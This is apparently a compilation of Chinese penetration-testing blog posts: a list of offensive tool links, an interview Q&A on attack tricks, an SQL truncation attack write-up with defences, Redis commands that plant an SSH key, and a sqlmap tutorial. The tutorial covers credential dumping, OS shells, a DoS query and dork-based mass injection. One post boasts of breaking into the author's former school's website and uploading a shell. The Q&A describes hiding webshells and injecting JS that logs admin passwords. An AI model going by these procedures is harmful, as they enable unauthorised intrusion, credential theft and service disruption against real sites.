漏洞练习平台总结 渗透测试
漏洞及渗透练习平台:
WebGoat漏洞练习环境
https://github.com/WebGoat/WebGoat
https://github.com/WebGoat/WebGoat-Legacy
Damn Vulnerable Web Application(漏洞练习平台)
https://github.com/RandomStorm/DVWA
数据库注入练习平台
https://github.com/Audi-1/sqli-labs
用node编写的漏洞练习平台,like OWASP Node Goat
https://github.com/cr0hn/vulnerable-node
花式扫描器 :
端口扫描器Nmap
https://github.com/nmap/nmap
本地网络扫描器
https://github.com/SkyLined/LocalNetworkScanner
子域名扫描器
https://github.com/lijiejie/subDomainsBrute
漏洞路由扫描器
https://github.com/jh00nbr/Routerhunter-2.0
迷你批量信息泄漏扫描脚本
https://github.com/lijiejie/BBScan
Waf类型检测工具
https://github.com/EnableSecurity/wafw00f
信息搜集工具 :
社工插件,可查找以email、phone、username的注册的所有网站账号信息
https://github.com/n0tr00t/Sreg
Github信息搜集,可实时扫描查询git最新上传有关邮箱账号密码信息
https://github.com/sea-god/gitscan
github Repo信息搜集工具
https://github.com/metac0rtex/GitHarvester
WEB:
webshell大合集
https://github.com/tennc/webshell
渗透以及web攻击脚本
https://github.com/brianwrf/hackUtils
web渗透小工具大合集
https://github.com/rootphantomer/hack_tools_for_me
XSS数据接收平台
https://github.com/firesunCN/BlueLotus_XSSReceiver
XSS与CSRF工具
https://github.com/evilcos/xssor
Short for command injection exploiter,web向命令注入检测工具
https://github.com/stasinopoulos/commix
数据库注入工具
https://github.com/sqlmapproject/sqlmap
Web代理,通过加载sqlmap api进行sqli实时检测
https://github.com/zt2/sqli-hunter
新版中国菜刀
https://github.com/Chora10/Cknife
.git泄露利用EXP
https://github.com/lijiejie/GitHack
浏览器攻击框架
https://github.com/beefproject/beef
自动化绕过WAF脚本
https://github.com/khalilbijjou/WAFNinja
http命令行客户端,可以从命令行构造发送各种http请求(类似于Curl)
https://github.com/jkbrzt/httpie
浏览器调试利器
https://github.com/firebug/firebug
一款开源WAF
https://github.com/SpiderLabs/ModSecurity
windows域渗透工具:
windows渗透神器
https://github.com/gentilkiwi/mimikatz
Powershell渗透库合集
https://github.com/PowerShellMafia/PowerSploit
Powershell tools合集
https://github.com/clymb3r/PowerShell
Fuzz:
Web向Fuzz工具
https://github.com/xmendez/wfuzz
HTTP暴力破解,撞库攻击脚本
https://github.com/lijiejie/htpwdScan
漏洞利用及攻击框架:
msf
https://github.com/rapid7/metasploit-framework
Poc调用框架,可加载Pocsuite,Tangscan,Beebeeto等
https://github.com/erevus-cn/pocscan
Pocsuite
https://github.com/knownsec/Pocsuite
Beebeeto
https://github.com/n0tr00t/Beebeeto-framework
漏洞POC&EXP:
ExploitDB官方git版本
https://github.com/offensive-security/exploit-database
php漏洞代码分析
https://github.com/80vul/phpcodz
Simple test for CVE-2016-2107
https://github.com/FiloSottile/CVE-2016-2107
CVE-2015-7547 POC
https://github.com/fjserna/CVE-2015-7547
JAVA反序列化POC生成工具
https://github.com/frohoff/ysoserial
JAVA反序列化EXP
https://github.com/foxglovesec/JavaUnserializeExploits
Jenkins CommonCollections EXP
https://github.com/CaledoniaProject/jenkins-cli-exploit
CVE-2015-2426 EXP (windows内核提权)
https://github.com/vlad902/hacking-team-windows-kernel-lpe
use docker to show web attack(php本地文件包含结合phpinfo getshell 以及ssrf结合curl的利用演示)
https://github.com/hxer/vulnapp
php7缓存覆写漏洞Demo及相关工具
https://github.com/GoSecure/php7-opcache-override
XcodeGhost木马样本
https://github.com/XcodeGhostSource/XcodeGhost
中间人攻击及钓鱼
中间人攻击框架
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy
https://github.com/byt3bl33d3r/MITMf
Inject code, jam wifi, and spy on wifi users
https://github.com/DanMcInerney/LANs.py
可扩展的中间人代理工具
https://github.com/intrepidusgroup/mallory
wifi钓鱼
https://github.com/sophron/wifiphisher
密码破解:
密码破解工具
https://github.com/shinnok/johnny
本地存储的各类密码提取利器
https://github.com/AlessandroZ/LaZagne
二进制及代码分析工具:
二进制分析工具
https://github.com/devttys0/binwalk
系统扫描器,用于寻找程序和库然后收集他们的依赖关系,链接等信息
https://github.com/quarkslab/binmap
rp++ is a full-cpp written tool that aims to find ROP sequences in PE/Elf/Mach-O (doesn't support the FAT binaries) x86/x64 binaries.
https://github.com/0vercl0k/rp
Windows Exploit Development工具
https://github.com/lillypad/badger
二进制静态分析工具(python)
https://github.com/bdcht/amoco
Python Exploit Development Assistance for GDB
https://github.com/longld/peda
对BillGates Linux Botnet系木马活动的监控工具
https://github.com/ValdikSS/billgates-botnet-tracker
木马配置参数提取工具
https://github.com/kevthehermit/RATDecoders
Shellphish编写的二进制分析工具(CTF向)
https://github.com/angr/angr
针对python的静态代码分析工具
https://github.com/yinwang0/pysonar2
一个自动化的脚本(shell)分析工具,用来给出警告和建议
https://github.com/koalaman/shellcheck
基于AST变换的简易Javascript反混淆辅助工具
https://github.com/ChiChou/etacsufbo
EXP编写框架及工具:
二进制EXP编写工具
https://github.com/t00sh/rop-tool
CTF Pwn 类题目脚本编写框架
https://github.com/Gallopsled/pwntools
an easy-to-use io library for pwning development
https://github.com/zTrix/zio
跨平台注入工具( Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.)
https://github.com/frida/frida
隐写:
隐写检测工具
https://github.com/abeluck/stegdetect
各类安全资料:
域渗透教程
https://github.com/l3m0n/pentest_study
python security教程(原文链接http://www.primalsecurity.net/tutorials/python-tutorials/)
https://github.com/smartFlash/pySecurity
data_hacking合集
https://github.com/ClickSecurity/data_hacking
mobile-security-wiki
https://github.com/exploitprotocol/mobile-security-wiki
书籍《reverse-engineering-for-beginners》
https://github.com/veficos/reverse-engineering-for-beginners
一些信息安全标准及设备配置
https://github.com/luyg24/IT_security
APT相关笔记
https://github.com/kbandla/APTnotes
Kcon资料
https://github.com/knownsec/KCon
ctf及黑客资源合集
https://github.com/bt3gl/My-Gray-Hacker-Resources
ctf和安全工具大合集
https://github.com/zardus/ctf-tools
《DO NOT FUCK WITH A HACKER》
https://github.com/citypw/DNFWAH
各类CTF资源
近年ctf writeup大全
https://github.com/ctfs/write-ups-2016
https://github.com/ctfs/write-ups-2015
https://github.com/ctfs/write-ups-2014
fbctf竞赛平台Demo
https://github.com/facebook/fbctf
ctf Resources
https://github.com/ctfs/resources
各类编程资源:
大礼包(什么都有)
https://github.com/bayandin/awesome-awesomeness
bash-handbook
https://github.com/denysdovhan/bash-handbook
python资源大全
https://github.com/jobbole/awesome-python-cn
git学习资料
https://github.com/xirong/my-git
安卓开源代码解析
https://github.com/android-cn/android-open-project-analysis
python框架,库,资源大合集
https://github.com/vinta/awesome-python
JS 正则表达式库(用于简化构造复杂的JS正则表达式)
https://github.com/VerbalExpressions/JSVerbalExpressions
Python:
python 正则表达式库(用于简化构造复杂的python正则表达式)
https://github.com/VerbalExpressions/PythonVerbalExpressions
python任务管理以及命令执行库
https://github.com/pyinvoke/invoke
python exe打包库
https://github.com/pyinstaller/pyinstaller
py3 爬虫框架
https://github.com/orf/cyborg
一个提供底层接口数据包编程和网络协议支持的python库
https://github.com/CoreSecurity/impacket
python requests 库
https://github.com/kennethreitz/requests
python 实用工具合集
https://github.com/mahmoud/boltons
python爬虫系统
https://github.com/binux/pyspider
ctf向 python工具包
https://github.com/P1kachu/v0lt
科学上网:
科学上网工具
https://github.com/XX-net/XX-Net
福利:
微信自动抢红包动态库
https://github.com/east520/AutoGetRedEnv
微信抢红包插件(安卓版)
https://github.com/geeeeeeeeek/WeChatLuckyMoney
神器
https://github.com/yangyangwithgnu/hardseed
一套实用的渗透测试岗位面试题,你会吗? 渗透测试
1.拿到一个待检测的站,你觉得应该先做什么?
-
收集信息
whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...
2.mysql的网站注入,5.0以上和5.0以下有什么区别?
-
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
-
5.0以下是多用户单操作,5.0以上是多用户多操做。
3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
-
丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。
-
用邮箱做关键词进行丢进搜索引擎。
-
利用搜索到的关联信息找出其他邮进而得到常用社交账号。
-
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。
-
利用已有信息生成专用字典。
-
观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。
4.判断出网站的CMS对渗透有什么意义?
-
查找网上已曝光的程序漏洞。
-
如果开源,还能下载相对应的源码进行代码审计。
5.一个成熟并且相对安全的CMS,渗透时扫目录的意义?
-
敏感文件、二级目录扫描
-
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
6.常见的网站服务器容器。
-
IIS、Apache、nginx、Lighttpd、Tomcat
7.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
-
root权限以及网站的绝对路径。
8.目前已知哪些版本的容器有解析漏洞,具体举例。
-
IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
-
IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
-
Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
空字节代码 xxx.jpg%00.php
-
Apache
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
-
lighttpd
xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!
9.如何手工快速判断目标站是windows还是linux服务器?
-
linux大小写敏感,windows大小写不敏感。
10.为何一个mysql数据库的站,只有一个80端口开放?
-
更改了端口,没有扫描出来。
-
站库分离。
-
3306端口不对外开放
11.3389无法连接的几种情况。
-
没开放3389 端口
-
端口被修改
-
防护拦截
-
处于内网(需进行端口转发)
12.如何突破注入时字符被转义?
-
宽字符注入
-
hex编码绕过
13.在某后台新闻编辑界面看到编辑器,应该先做什么?
-
查看编辑器的名称版本,然后搜索公开的漏洞。
14.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
-
能做的事情很多,用隐藏网马来举例子:
插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
.jpg文件会被解析成.php文件。 -
具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。
15.注入漏洞只能查账号密码?
-
只要权限广,拖库脱到老。
16.安全狗会追踪变量,从而发现出是一句话木马吗?
-
是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。
17.access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用。
-
迅雷下载,直接改后缀为.mdb。
18.提权时选择可读写目录,为何尽量不用带空格的目录?
-
因为exp执行多半需要空格界定参数
19.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?
-
同数据库。
20.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?
-
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
21:某个防注入系统,在注入时会提示:
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
如何利用这个防注入系统拿shell?
-
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540。
22.上传大马后访问乱码时,有哪些解决办法?
-
浏览器中改编码。
23.审查上传点的元素有什么意义?
-
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
-
先爆破用户名,再利用被爆破出来的用户名爆破密码。
-
其实有些站点,在登陆处也会这样提示
-
所有和数据库有交互的地方都有可能有注入。
25.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?
-
这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。
26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?
-
直接在网站二级目录/abc/下扫描敏感文件及目录。
27.在有shell的情况下,如何使用xss实现对目标站的长久控制?
-
后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
-
在登录后才可以访问的文件中插入XSS脚本。
28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
-
审查元素 把密码处的password属性改成text就明文显示了
29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?
-
原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过
30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
-
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到
<hws>内容<hws>
。
31.在win2003服务器中建立一个 .zhongzi文件夹用意何为?
-
隐藏文件夹,为了不让管理员发现你传上去的工具。
32、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆
33、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试
34、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
35、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
36、CSRF、SSRF和重放攻击有什么区别?
CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的
37、说出至少三种业务逻辑漏洞,以及修复方式?
密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码
身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份
验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过
38、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:*******.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,*/*;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive
39、找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
40、你常用的渗透工具有哪些,最常用的是哪个?
41、描述一个你深入研究过的 CVE 或 POC。
42、谈谈你经常关注的安全平台?
【转载】基于约束的SQL攻击 渗透测试
前言
值得庆幸的是如今开发者在构建网站时,已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在,在本文我想与读者共同去探讨另一种与SQL数据库相关的漏洞,其危害与SQL注入不相上下,但却不太常见。接下来,我将为读者详细展示这种攻击手法,以及相应的防御策略。
注意:本文不是讲述SQL注入攻击
背景介绍
最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码:
<?php
// Checking whether a user with the same username exists $username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0) { // User exists, exit gracefully
.
.
} else { // If not, only then insert a new entry
$query = "INSERT INTO users(username, password)
VALUES ('$username','$password')";
.
.
}
}
使用以下代码验证登录信息:
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0){
$row = mysql_fetch_assoc($res); return $row['username'];
}
} return Null;
安全考虑:
过滤用户输入参数了吗? — 完成检查
使用单引号(’)来增加安全性了吗? — 完成检查
按理说应该不会出错了啊?
然而,攻击者依然能够以任意用户身份进行登录!
攻击手法
在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。
-
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
-
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
现在,让我们建立一个测试数据库来演示具体攻击过程。
vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing; Query OK, 1 row affected (0.03 sec) mysql> USE testing; Database changed
接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。
mysql> CREATE TABLE users ( -> username varchar(25),
-> password varchar(25)
-> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
-> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+ 1 row in set (0.00 sec)
为了展示尾部空白字符的修剪情况,我们可以键入下列命令:
mysql> SELECT * FROM users
-> WHERE username='vampire '; +----------+-------------+ | username | password | +----------+-------------+ | vampire | my_password | +----------+-------------+ 1 row in set (0.00 sec)
现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。
mysql> SELECT * FROM users
-> WHERE username='vampire 1';
Empty set (0.00 sec)
需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。
mysql> INSERT INTO users(username, password)
-> VALUES ('vampire 1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
-> WHERE username='vampire';
+---------------------------+-------------+
| username | password |
+---------------------------+-------------+
| vampire | my_password |
| vampire | random_pass |
+---------------------------+-------------+ 2 rows in set (0.00 sec)
很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。
防御手段
毫无疑问,在进行软件开发时,需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御:
-
将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。
-
最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪
-
为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)
注:
最好讲MySQL设置成宽松模式,set @@sql_mode=ANSI;即可,还有就是注册时,一般的这种非法的用户名是不能注册的吧。。。不过还是又利用空间的。
文章出自:https://dhavalkapil.com/blogs/SQL-Attack-Constraint-Based/
通过redis入侵服务器的步骤 渗透测试
通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。
一,生成本地ssh公钥
|
ssh-keygen
|
二,先连接redis看看
|
telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10
|
三, 清一下redis数据库
|
redis-cli -h 192.168.15.10 flushall
|
四, 向redis写自己的公钥
|
catkey.txt |redis-cli -h 192.168.15.10 -xsetredis
|
五, 利用redis写入到文件中
|
#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SETdir/root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename"authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit
|
六, 远程连接
注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。
这个是最近redis爆出来的。
入侵之前的学校的网站的过程 渗透测试
作者:宝顺
前上学的学校。早就毕业了的,上学时候就一直想拿下来玩玩,不过总是忘了。今天无聊就拿下来了。。
目标站:xxxxxx.com
首先找后台地址。随便加了个admin。就是了,等等。。好像不对,为啥显示了部分内容才弹出的未登录的提示框。
相信大家都明白,写程序的时候验证是否登录的代码放到了现在显示的这些代码的后面,所里浏览器就先执行前面的代码(这个大家都懂,浏览器就按照先后顺序执行的代码)
而且还是js弹窗,好办了,禁止js代码就行了。毕竟是客户端的东西嘛!
火狐的禁止方法(其他浏览器的自行百度):
再地址栏输入about:config,点击回车键
在搜索地址栏中输入javascript.enabled
鼠标右键第一个,弹出菜单。再点击切换
当一行的中的,值由trun变成false。时候说明已经关闭了。
好了。js已经禁用了。
我们刷新页面试试。
已经执行js代码了。
接下来就是找可以登录后台的漏洞了。因为他执行了一个个人管理的代码。
我们右键审查元素。
看到了个密码修改的地址,点进去看看。
可以添加用户了。
我们添加个用户,然后后台登录。
我就不截图了
登录成功。
ok
拿shell更简单了。随便找了个地方任意文件上传。至于服务器就不提了,毕竟不会。。
发这个文章主要是告诉各位朋友,拿站方法千千万,一定要灵活的去入侵,不要那么死板。
出处:宝顺 'S Blog - 入侵之前的学校的网站的过程
SQLMAP注入教程-个人笔记精华整理分享-11种常见SQLmap使用方法详解 渗透测试
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。今天把我一直以来整理的sqlmap笔记发布上来供大家参考。
一共有11种,乌云知识库也有一片比较全面的介绍各个参数的文章:
SQLmap用户手册:http://drops.wooyun.org/tips/143
1.SQLMAP用于Access数据库注入
(1)猜解是否能注入
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux : ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
(2)猜解表
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
(3)根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
(4)根据字段猜解内容(假如通过3得到字段为username和password)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,password"
2.SQLMAP用于Cookie注入
(1)cookie注入,猜解表
win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2
(2)猜解字段,(通过1的表猜解字段,假如表为admin)
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T
admin --level 2
(3)猜解内容
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T
admin -C "username,password" --level 2
3.SQLMAP用于mysql中DDOS攻击
(1)获取一个Shell
win:
python sqlmap.py -u http://192.168.159.1/news.php?id=1 --sql-shell
Linux:
sqlmap -u http://192.168.159.1/news.php?id=1 --sql-shell
(2)输入执行语句完成DDOS攻击
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
4.SQLMAP用于mysql注入
(1)查找数据库
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs
(2)通过第一步的数据库查找表(假如数据库名为dataname)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
(3)通过2中的表得出列名(假如表为table_name)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
(4)获取字段的值(假如扫描出id,user,password字段)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump
5.SQLMAP中post登陆框注入
(1)其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件
我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。
- 浏览器打开目标地址http:// www.xxx.com /Login.asp
- 配置burp代理(127.0.0.1:8080)以拦截请求
- 点击login表单的submit按钮
- 这时候Burp会拦截到了我们的登录POST请求
- 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
- 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
而-p 大家应该比较熟悉,指定注入用的参数。
注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass
(2)自动的搜索
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
(3)指定参数搜索
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=321&tfUPass=321"
6.SQLMAP中Google搜索注入
inurl后面的语言是由自己定的
注入过程中如果选y是注入,如果不是选n
sqlmap -g inurl:php?id=
7.SQLMAP中的请求延迟
参数 --delay --safe-freq
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
参数
8.SQLMAP绕过WAF防火墙
注入点:http://192.168.159.1/news.php?id=1
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py
都是编码方式
space2hash.py base64encode.py charencode.py
9.SQLMAP查看权限
sqlmap -u http://192.168.159.1/news.php?id=1 --privileges
10.SQLMAP伪静态注入
(1)查找数据库
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs
(2)通过1中的数据库查找对应的表 (假如通过1,得到的是dataname)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables
(3)通过2中的数据表得到字段(假如得到的是tablename表)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename --columns
(4)通过3得到字段值(假如从3中得到字段id,password)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename -C "password" --dump
11.SQLMAP注入点执行命令与交互写shell
(1)
注入点:http://192.168.159.1/news.php?id=1
此处采用的是Linux系统
sqlmap -u http://192.168.159.1/news.php?id=1 --os-cmd=ipconfig
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
(2)获取Shell
sqlmap -u http://192.168.159.1/news.php?id=1 --os-shell
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
输入ipconfig/all
创建用户和删除用户只要权限足够大,你可以输入使用任何命令。
其他命令参考下面:
从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
